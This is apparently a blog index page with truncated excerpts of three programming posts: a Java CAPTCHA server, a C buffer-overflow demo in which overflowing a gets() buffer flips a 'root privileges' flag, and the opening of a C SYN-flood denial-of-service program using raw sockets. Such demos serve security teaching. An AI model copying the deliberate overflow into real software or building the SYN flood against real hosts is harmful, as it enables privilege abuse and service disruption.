CAPTCHA Server (Java)

import java.util.*; import java.io.*; import java.net.*; import java.awt.*; import java.awt.image.*; import javax.imageio.*; class TimeOutTask extends TimerTask { boolean isTimedOut = false; public void run() { isTimedOut = true; } } class CaptchaServer { static String captcha; static BufferedImage createCaptcha() { BufferedImage bImg = new BufferedImage(200, 200, BufferedImage.TYPE_INT_RGB); Graphics g = bImg.getGraphics(); Random r = new Random(); captcha = new String(); for(int i=0 ; i<6 ; … Continue reading CAPTCHA Server (Java)

Buffer Overflow problem (C)

#include <stdio.h> #include <string.h> int main(void) { char buff[15]; buff[14] = 0; printf(“\n Enter the password : \n”); gets(buff); if(strcmp(buff, “password”)) { printf (“\n Wrong Password \n”); } else { printf (“\n Correct Password \n”); buff[14] = 1; } if(buff[14]) { /* Now Give root or admin rights to user*/ printf (“\n Root privileges given to the user \n”); } return 0; } /* Output: … Continue reading Buffer Overflow problem (C)

Denial of Service (DoS) attack (C)

/* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<string.h> //memset #include<sys/socket.h> #include<stdlib.h> //for exit(0); #include<errno.h> //For errno – the error number #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int … Continue reading Denial of Service (DoS) attack (C)